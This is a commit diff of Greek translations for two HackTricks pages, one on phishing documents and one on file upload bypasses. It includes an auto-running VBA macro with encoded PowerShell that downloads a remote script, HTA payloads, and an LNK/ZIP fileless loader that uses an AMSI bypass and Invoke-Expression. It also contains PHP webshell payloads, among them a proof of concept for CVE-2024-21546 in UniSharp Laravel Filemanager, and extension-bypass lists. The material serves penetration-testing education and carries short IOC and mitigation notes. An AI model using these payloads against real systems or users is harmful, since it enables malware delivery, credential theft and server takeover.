mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
parent
16f311d809
commit
6d3a07943d
@ -1,40 +1,40 @@
|
||||
# Phishing Αρχεία & Έγγραφα
|
||||
# Phishing Files & Documents
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Έγγραφα
|
||||
## Office Documents
|
||||
|
||||
Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων πραγματοποιείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοιχτεί.
|
||||
Microsoft Word εκτελεί έλεγχο εγκυρότητας των δεδομένων αρχείου πριν από το άνοιγμα ενός αρχείου. Ο έλεγχος εγκυρότητας πραγματοποιείται με τη μορφή ταυτοποίησης της δομής των δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την ταυτοποίηση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
|
||||
|
||||
Συνήθως, τα αρχεία Word που περιέχουν macros χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομαστεί το αρχείο αλλάζοντας την επέκταση αρχείου και να διατηρηθεί η ικανότητα εκτέλεσης των macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros από σχεδιασμό, αλλά ένα αρχείο DOCM μετονομασμένο σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση macros.\
|
||||
Οι ίδιες εσωτερικές λειτουργίες και μηχανισμοί ισχύουν για όλο το λογισμικό του Microsoft Office Suite (Excel, PowerPoint κ.λπ.).
|
||||
Συνήθως, αρχεία Word που περιέχουν macros χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατό να μετονομαστεί το αρχείο αλλάζοντας την επέκταση και να διατηρηθούν οι δυνατότητές του εκτέλεσης macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros, εκ κατασκευής, αλλά ένα αρχείο DOCM μετονομασμένο σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό να εκτελεί macros.\
|
||||
Τα ίδια εσωτερικά στοιχεία και μηχανισμοί ισχύουν για όλο το λογισμικό του Microsoft Office Suite (Excel, PowerPoint κ.λπ.).
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελεστούν από ορισμένα προγράμματα του Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### Φόρτωση εξωτερικής εικόνας
|
||||
### Φόρτωση Εξωτερικής Εικόνας
|
||||
|
||||
Μεταβείτε στο: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
Πήγαινε σε: _Insert --> Quick Parts --> Field_\
|
||||
_**Κατηγορίες**: Links and References, **Ονόματα πεδίων**: includePicture, και **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για να εκτελέσουν arbitrary code από το έγγραφο.
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για να τρέξουν αυθαίρετο κώδικα από το έγγραφο.
|
||||
|
||||
#### Autoload functions
|
||||
#### Συναρτήσεις αυτόματης φόρτωσης
|
||||
|
||||
Όσο πιο συνηθισμένες είναι, τόσο πιο πιθανό είναι το AV να τις εντοπίσει.
|
||||
Όσο πιο κοινές είναι, τόσο πιο πιθανό το AV να τις ανιχνεύσει.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
#### Παραδείγματα Κώδικα Macros
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,16 +64,16 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Αφαίρεση μεταδεδομένων χειροκίνητα
|
||||
#### Αφαιρέστε χειροκίνητα μεταδεδομένα
|
||||
|
||||
Μεταβείτε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα ανοίξει το Document Inspector. Κάντε κλικ στο **Inspect** και στη συνέχεια **Remove All** δίπλα στο **Document Properties and Personal Information**.
|
||||
Πηγαίνετε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα εμφανίσει το Document Inspector. Κάντε κλικ στο **Inspect** και μετά στο **Remove All** δίπλα στο **Document Properties and Personal Information**.
|
||||
|
||||
#### Επέκταση αρχείου
|
||||
#### Προέκταση αρχείου
|
||||
|
||||
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάντε αυτό επειδή **δεν μπορείτε να αποθηκεύσετε macro's μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** γύρω από την macro-enabled **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες web/email gateway το μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιού τύπου επέκταση `.doc` είναι ο καλύτερος συμβιβασμός**.
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Κάντε αυτό γιατί **δεν μπορείτε να αποθηκεύσετε macros μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** γύρω από την macro-enabled **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα μεγάλο `!` και ορισμένες web/email πύλες τα μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι ο καλύτερος συμβιβασμός**.
|
||||
|
||||
#### Δημιουργοί Κακόβουλων Macros
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## Αρχεία HTA
|
||||
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Δημιουργεί το user interface και εκτελείται ως εφαρμογή "fully trusted", χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός browser.
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως εφαρμογή "fully trusted", χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός browser.
|
||||
|
||||
Ένα HTA εκτελείται με χρήση του **`mshta.exe`**, το οποίο συνήθως είναι εγκατεστημένο μαζί με τον **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από τον IE**. Οπότε, εάν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως εγκαθίσταται μαζί με τον **Internet Explorer**, καθιστώντας **`mshta` εξαρτημένο από τον IE**. Έτσι, αν αυτός έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Εξαναγκασμός αυθεντικοποίησης NTLM
|
||||
## Εξαναγκασμός NTLM Authentication
|
||||
|
||||
Υπάρχουν διάφοροι τρόποι για να **εξαναγκάσετε την αυθεντικοποίηση NTLM "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα προσπελάσει (ακόμα και HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **αυθεντικοποίηση** απλά με το **άνοιγμα του φακέλου.**
|
||||
Υπάρχουν αρκετοί τρόποι να **force NTLM authentication "remotely"**, για παράδειγμα, μπορείτε να προσθέσετε **invisible images** σε emails ή HTML που θα ανοίξει ο χρήστης (ακόμα και HTTP MitM?). Ή να στείλετε στο θύμα τη **address of files** που θα **trigger** μια **authentication** απλά με το **opening the folder.**
|
||||
|
||||
**Δείτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
**Ελέγξτε αυτές τις ιδέες και περισσότερα στις ακόλουθες σελίδες:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Μην ξεχνάτε ότι μπορείτε όχι μόνο να κλέψετε το hash ή την αυθεντικοποίηση αλλά και να **εκτελέσετε NTLM relay attacks**:
|
||||
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την authentication αλλά και να **perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Πολύ αποτελεσματικές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα δολώματα (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader αποθηκεύεται μέσα στα raw bytes του ZIP μετά από έναν μοναδικό marker, και το .lnk το εξάγει και το τρέχει ολοκληρωτικά στη μνήμη.
|
||||
Πολύ αποτελεσματικές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα decoy documents (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader αποθηκεύεται μέσα στα raw bytes του ZIP μετά από έναν μοναδικό marker, και το .lnk το carve-άρει και το τρέχει πλήρως στη μνήμη.
|
||||
|
||||
Τυπική ροή που υλοποιείται από το .lnk PowerShell one-liner:
|
||||
|
||||
1) Εντοπίστε το αρχικό ZIP σε συνήθεις διαδρομές: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον γονικό φάκελο του τρέχοντος working directory.
|
||||
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
|
||||
3) Αντιγράψτε το ZIP σε %ProgramData%, αποσυμπιέστε το εκεί και ανοίξτε το δολωμένο .docx ώστε να φαίνεται νόμιμο.
|
||||
4) Παρακάμψτε το AMSI για τη τρέχουσα διαδικασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Καθαρίστε (deobfuscate) το επόμενο στάδιο (π.χ., αφαιρέστε όλους τους χαρακτήρες '#') και εκτελέστε το στη μνήμη.
|
||||
1) Εντοπίζει το αρχικό ZIP σε κοινές διαδρομές: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον parent του current working directory.
|
||||
2) Διαβάζει τα bytes του ZIP και βρίσκει έναν hardcoded marker (π.χ., xFIQCV). Ό,τι βρίσκεται μετά το marker είναι το embedded PowerShell payload.
|
||||
3) Αντιγράφει το ZIP σε %ProgramData%, το εξάγει εκεί, και ανοίγει το decoy .docx για να φαίνεται νόμιμο.
|
||||
4) Παρακάμπτει το AMSI για τη τρέχουσα διεργασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate το επόμενο στάδιο (π.χ., αφαιρεί όλους τους χαρακτήρες #) και το εκτελεί στη μνήμη.
|
||||
|
||||
Παράδειγμα PowerShell skeleton για να carve και να τρέξει το embedded stage:
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Σημειώσεις
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστους υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να φιλτράρει τα payloads (σερβίροντας benign ZIPs με βάση IP/UA).
|
||||
- Το επόμενο στάδιο συχνά αποκρυπτογραφεί base64/XOR shellcode και το εκτελεί μέσω Reflection.Emit + VirtualAlloc για να ελαχιστοποιήσει τα ίχνη στο δίσκο.
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστα PaaS subdomains (π.χ., *.herokuapp.com) και μπορεί να gate-άρει τα payloads (σερβίροντας benign ZIPs με βάση IP/UA).
|
||||
- Το επόμενο στάδιο συχνά αποκρυπτογραφεί base64/XOR shellcode και το εκτελεί μέσω Reflection.Emit + VirtualAlloc για να ελαχιστοποιήσει τα disk artifacts.
|
||||
|
||||
Persistence που χρησιμοποιείται στην ίδια αλυσίδα
|
||||
- COM TypeLib hijacking του Microsoft Web Browser control έτσι ώστε το IE/Explorer ή οποιαδήποτε εφαρμογή που το ενσωματώνει να επανεκκινεί το payload αυτόματα. Δείτε λεπτομέρειες και έτοιμες εντολές εδώ:
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking του Microsoft Web Browser control ώστε το IE/Explorer ή οποιαδήποτε εφαρμογή που το ενσωματώνει να επανεκκινήσει το payload αυτόματα. Δείτε λεπτομέρειες και έτοιμες εντολές εδώ:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Κυνηγητό/IOCs
|
||||
- ZIP αρχεία που περιέχουν το ASCII marker string (π.χ., xFIQCV) προσαρτημένο στα δεδομένα του αρχείου.
|
||||
- .lnk που απαριθμεί φακέλους γονέα/χρήστη για να εντοπίσει το ZIP και ανοίγει ένα ψεύτικο έγγραφο.
|
||||
- Παραποίηση AMSI μέσω [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνια business threads που καταλήγουν σε links φιλοξενούμενα σε αξιόπιστους PaaS domains.
|
||||
Hunting/IOCs
|
||||
- ZIP files που περιέχουν το ASCII marker string (π.χ., xFIQCV) προστιθέμενο στα δεδομένα του archive.
|
||||
- .lnk που απαριθμεί φακέλους parent/user για να εντοπίσει το ZIP και ανοίγει ένα decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνια business threads που καταλήγουν σε links hosted under trusted PaaS domains.
|
||||
|
||||
## Windows αρχεία για κλοπή NTLM hashes
|
||||
|
||||
Δείτε τη σελίδα για **places to steal NTLM creds**:
|
||||
Δείτε τη σελίδα για **μέρη για κλοπή NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Γενική Μεθοδολογία Ανέβασματος Αρχείων
|
||||
## File Upload General Methodology
|
||||
|
||||
Other useful extensions:
|
||||
Άλλες χρήσιμες επεκτάσεις:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Εργασία σε PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@ Other useful extensions:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass file extensions checks
|
||||
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||
|
||||
1. Αν εφαρμόζεται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά κεφαλαία γράμματα: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
||||
1. Εάν εφαρμόζεται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε επίσης με μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** την εκτελέσιμη επέκταση (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε Burp για **bruteforce** όλων των χαρακτήρων **ascii** και **Unicode**. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||
3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για **bruteforce** όλων των **ascii** και **Unicode** χαρακτήρων. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Other useful extensions:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Προσπαθήστε να παρακάμψετε τους ελέγχους **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε ένα καλύτερο payload._
|
||||
4. Προσπαθήστε να παρακάμψετε τις προστασίες **παραπλανώντας τον parser επεκτάσεων** στην πλευρά του server με τεχνικές όπως **doubling** της **επέκτασης** ή **προσθέτοντας junk** δεδομένα (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε καλύτερο payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Other useful extensions:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Προσθέστε **ακόμα ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
5. Προσθέστε **άλλο επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Προσπαθήστε να βάλετε την **εκτελέσιμη επέκταση πριν την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λάθος ρυθμισμένος. (χρήσιμο για εκμετάλλευση misconfigurations σε Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **όχι απαραίτητα τελειώνει σε .php**, θα εκτελέσει κώδικα):
|
||||
6. Προσπαθήστε να βάλετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λανθασμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση** _**.php**_**, αλλά** όχι απαραίτητα τελειώνει σε .php** θα εκτελείται):
|
||||
- _ex: file.php.png_
|
||||
7. Χρήση του **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, θα εισαχθεί ο χαρακτήρας άνω τελείας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Συνεπώς, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για παράκαμψη επιπλέον περιορισμών (π.χ. "file.asp::$data.”)
|
||||
8. Προσπαθήστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
7. Χρήση **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή τη περίπτωση, ένας χαρακτήρας άνω-κάτω τελείας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename του. Το μοτίβο "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη ενός τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψετε περαιτέρω περιορισμούς (π.χ. "file.asp::$data.”)
|
||||
8. Προσπαθήστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Κάποιοι handlers ανέβασματος αφαιρούν ή κανονικοποιούν χαρακτήρες τελείας στο τέλος του ονόματος αρχείου που αποθηκεύεται. Στο UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων ως εξής:
|
||||
Κάποιοι upload handlers αφαιρούν ή κανονικοποιούν τους τελικούς χαρακτήρες τελείας από το αποθηκευμένο όνομα αρχείου. Στο UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) σε εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων με:
|
||||
|
||||
- Χρησιμοποιήστε ένα έγκυρο image MIME και magic header (π.χ. το PNG signature `\x89PNG\r\n\x1a\n`).
|
||||
- Ονομάστε το ανεβασμένο αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ. `shell.php.`.
|
||||
- Ο server αφαιρεί την τελική τελεία και αποθηκεύει `shell.php`, το οποίο θα εκτελεστεί εάν τοποθετηθεί σε έναν δημόσια σερβιρισμένο φάκελο (προεπιλεγμένος public storage όπως `/storage/files/`).
|
||||
- Χρήση ενός έγκυρου image MIME και magic header (π.χ. το `\x89PNG\r\n\x1a\n` του PNG).
|
||||
- Ονομάζοντας το ανεβασμένο αρχείο με μια PHP επέκταση ακολουθούμενη από τελεία, π.χ., `shell.php.`.
|
||||
- Ο server αφαιρεί την τελική τελεία και αποθηκεύει το `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε έναν web-served κατάλογο (default public storage όπως `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,14 +80,14 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Στη συνέχεια, προσπελάστε την αποθηκευμένη διαδρομή (τυπική σε Laravel + LFM):
|
||||
Στη συνέχεια προσπελάστε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Επιβάλετε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
- Εφαρμόστε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename.
|
||||
- Serve uploads από μη-εκτελέσιμες τοποθεσίες.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
@ -97,26 +97,26 @@ Mitigations:
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- Αν γίνεται compression στην εικόνα σας, για παράδειγμα με κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην δουλέψουν. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- Η web σελίδα μπορεί επίσης να κάνει **resizing** της **image**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
